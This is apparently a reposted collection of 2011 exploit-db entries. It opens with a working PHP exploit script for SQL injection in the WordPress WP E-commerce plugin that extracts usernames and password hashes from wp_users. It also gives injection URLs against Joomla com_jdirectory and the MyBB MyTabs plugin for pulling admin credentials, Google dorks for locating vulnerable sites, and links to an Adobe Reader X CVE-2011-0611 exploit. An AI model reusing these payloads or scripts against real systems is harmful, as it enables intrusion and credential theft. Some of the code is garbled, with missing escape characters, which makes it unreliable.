WP E-commerce plugin

Standard


# Exploit Title: WP E-commerce plugin < = 3.8.4 Sql Injection # Google Dork: inurl:page_id= “Your billing/contact details” # Date: 18/07/2011 # Author: IHTeam # Software Link: http://www.getshopped.org/ # Version: 3.8.4 # Tested on: 3.8.4 # Original Advisory: http://www.ihteam.net/advisory/wordpress-wp-e-commerce-plugin/ $value ) {
$form_sql = "SELECT * FROM `" . WPSC_TABLE_CHECKOUT_FORMS . "` WHERE `id` = '$value_id' LIMIT 1";
$form_data = $wpdb->get_row( $form_sql, ARRAY_A );

FIX: Upgrade to version 3.8.5

Bug found by: IHTeam
Simone `R00T_ATI` Quatrini
Marco `white_sheep` Rondini
Francesco `merlok` Morucci
Mauro `epicfail` Gasperini
For GetShopped as their security auditors

This code has been released under the authorization of GetShopped staff.
It will show user_login and user_pass of wp_users table;

Google Dork: inurl:page_id= "Your billing/contact details"
Follow us on Twitter! @IHTeam
*/
function help() {
echo "n";
echo " -------------------WP e-Commerce < = 3.8.4 SQL Injection---------------nn"; echo " How to use: php wp-ecommerce.php host path page_id [table_name]nn"; echo " host = Domain namen"; echo " path = Path of WordPressn"; echo " page_id = Int value of the login page of WP e-commercen"; echo " table_name = Default is wp_usersnn"; echo " Example: php wp-commerce.php www.domain.com /wordpress/ 11 wp_usersnn"; echo " ----------------------------------------------------------------------nn"; } function exploit($host,$path,$pageid,$table) { $url = $host.$path."?page_id=".$pageid."&edit_profile=true"; $buggy_code=urlencode("-2' UNION ALL SELECT 2, concat(user_login,':',user_pass), 'email', 1, 1, null, 1, 2, 'billingfirstname', null, 0 from ".$table." WHERE '1'='1"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, 3); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS,"collected_data[".$buggy_code."]=&submit=Save+Profile&submitwpcheckout_profile=true"); $result= curl_exec ($ch); curl_close ($ch); echo "Now using table name: $table... "; preg_match("/(.*?)< /span>.
/", $result, $matches);
if ( !isset($matches[1]) )
$msg="Wrong table name or not vulnerablen";
else
$msg="Credential found: ".$matches[1]."n";

return $msg;

}

if ( isset($argv[1]) && isset($argv[2]) && isset($argv[3]) ) {
if (isset($argv[4]))
$table = $argv[4];
else
$table = "wp_users";

$host = $argv[1];
$spos=strpos($host, "http://");
if(!is_int($spos)&&($spos==0))
$host="http://$host";

$path = $argv[2];
$pageid=(int)$argv[3];

/* Detecting the version, if possible */
$version = file_get_contents($host.$path.'wp-content/plugins/wp-e-commerce/readme.txt');
preg_match("/Stable tag: (.*)/", $version, $vmatch);

if ( !isset($vmatch[1]) )
$version="Not detectablen";
else
$version=$vmatch[1];

echo "Version: ".$version."n";
/* End of version detecting */

/* Executing exploit */
preg_match('/[^.]+.[^.]+$/', $host, $hmatch);
$host_name=str_replace('http://','',$hmatch[0]);

$tarray = array($table, 'wordpress_users', '_users', 'users', 'wpusers','wordpressusers', $host_name.'_users', str_replace('.','',$host_name).'_users', str_replace('.','',$host_name).'users' );

foreach($tarray as $index => $val) {
echo exploit($host,$path,$pageid,$val);
}
/* End of exploit */
} else
help();

Fonte: http://www.exploit-db.com/exploits/17613/

Joomla Component (com_jdirectory) SQL Injection Vulnerability

Standard


=====================================================================
.__ .__ __ .__ .___
____ ___ _________ | | ____ |__|/ |_ |__| __| _/
_/ __ \ / /____ | | / _ | __ ______ | |/ __ |
___/ > < | |_> > |_( ) || | /_____/ | / /_/ |
___ >__/_ | __/|____/____/|__||__| |______ |
/ /|__| /
Exploit-ID is the Exploit Information Disclosure

Web : exploit-id.com
e-mail : root[at]exploit-id[dot]com

#########################################
I’m Caddy-Dz, member of Exploit-Id
#########################################
======================================================================

####
# Exploit Title: Joomla Component com_jdirectory SQL Injection Vulnerability
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: islam_babia[at]hotmail.com | Caddy-Dz[at]exploit-id.com
# Website: www.exploit-id.com
# Google Dork: inurl:/component/option,com_jdirectory
# Category:: Webapps
# Tested on: [Windows 7 Edition Intégral- French]
# Vendor: http://www.joomace.net/downloads/acesef/extensions/jdirectory-acesef
####

[*] ExpLo!T :

http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0

http://www.site.com/component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 # Inject Here

####

[+] Peace From Algeria

####

=================================**Algerians Hackers**=======================================|
# Greets To : |
KedAns-Dz , Kalashinkov3 & **All Algerians Hackers** , jos_ali_joe , Z190T , |
All Exploit-Id Team , (exploit-id.com) , (1337day.com) , (dis9.com) , (exploit-db.com) |
All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer , MaaTar , St0fa , Nissou , |
RmZ …others |
============================================================================================ |

Fonte: http://www.exploit-db.com/exploits/17603/

MyBB MyTabs (plugin) 0day SQL injection vulnerability

Standard


=====================================================================
MyBB 0day MyTabs (plugin) SQL injection vulnerability
=====================================================================

# Exploit title : MyBB 0day MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 08 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Vulnerable Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

—————————————
# ~ Expl0itation ~ #
—————————————

$~ Get the administrator’s username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

$~ Get the administrator’s password ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

_ _ ____ _ _ _ _ _ _ ____ _
/ _ _| |_ ___ | _ | | | | | | __ _ _ __ __| | __| | _ ___ __ _| |
/ _ | | | | __/ _ | |_) | | | | | | / _` | ‘_ / _` | / _` | |_) | / __|/ _` | |
/ ___ |_| | |_ (_) | _ /_/ ___,_|_____/|_| _\___/|_| _| __,_|_| |_|__,_| __,_|_| _(_)___/__, |_____|
|_|

# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.

____ _ ____ ____ _ _ _ _ _
| _ _ __ ___ _ _ __| | |___ | __ ) / | | |__ __ _ _ __ (_) __ _ _ __ | |
| |_) | ‘__/ _ | | | |/ _` | __) | _ / _ | | ‘_ / _` | ‘_ | |/ _` | ‘_ | |
| __/| | | (_) | |_| | (_| | / __/| |_) | / ___ | | |_) | (_| | | | | | (_| | | | | |_|
|_| |_| ___/ __,_|__,_| |_____|____/ /_/ __|_.__/ __,_|_| |_|_|__,_|_| |_| (_)

# 2011

 

Fonte: http://www.exploit-db.com/exploits/17595/

Adobe Reader X Atom Type Confusion Vulnerability Exploit

Standard

# Exploit Title: Adobe Reader X Atom Type Confusion Vulnerability Exploit
# Date: 7/3/2011
# Author: Snake ( Shahriyar.j < at > gmail )
# Version: Adobe Reader X < 10.1
# Tested on: 10.0.0 - 10.0.1 - Windows 7 - IE/FF/Opera
# CVE : CVE-2011-0611
#
#This is the exploit I wrote for Abysssec "The Arashi" article.
#It gracefully bypass DEP/ASLR ( not the sandbox ) in Adobe Reader X,
#and we named this method "Tatsumaki DEP/ASRL Bypass" : >
#It work reliably on IE9/FF4 and other browsers.
#
# The Arashi : http://abysssec.com/files/The_Arashi.pdf
http://www.exploit-db.com/download_pdf/17469
# me : twitter.com/ponez
# also check here for The Persian docs of this methods and more :
http://www.0days.ir/article/

Exploit: http://www.exploit-db.com/sploits/cve-2011-0611_exploit.pdf

http://www.exploit-db.com/exploits/17473/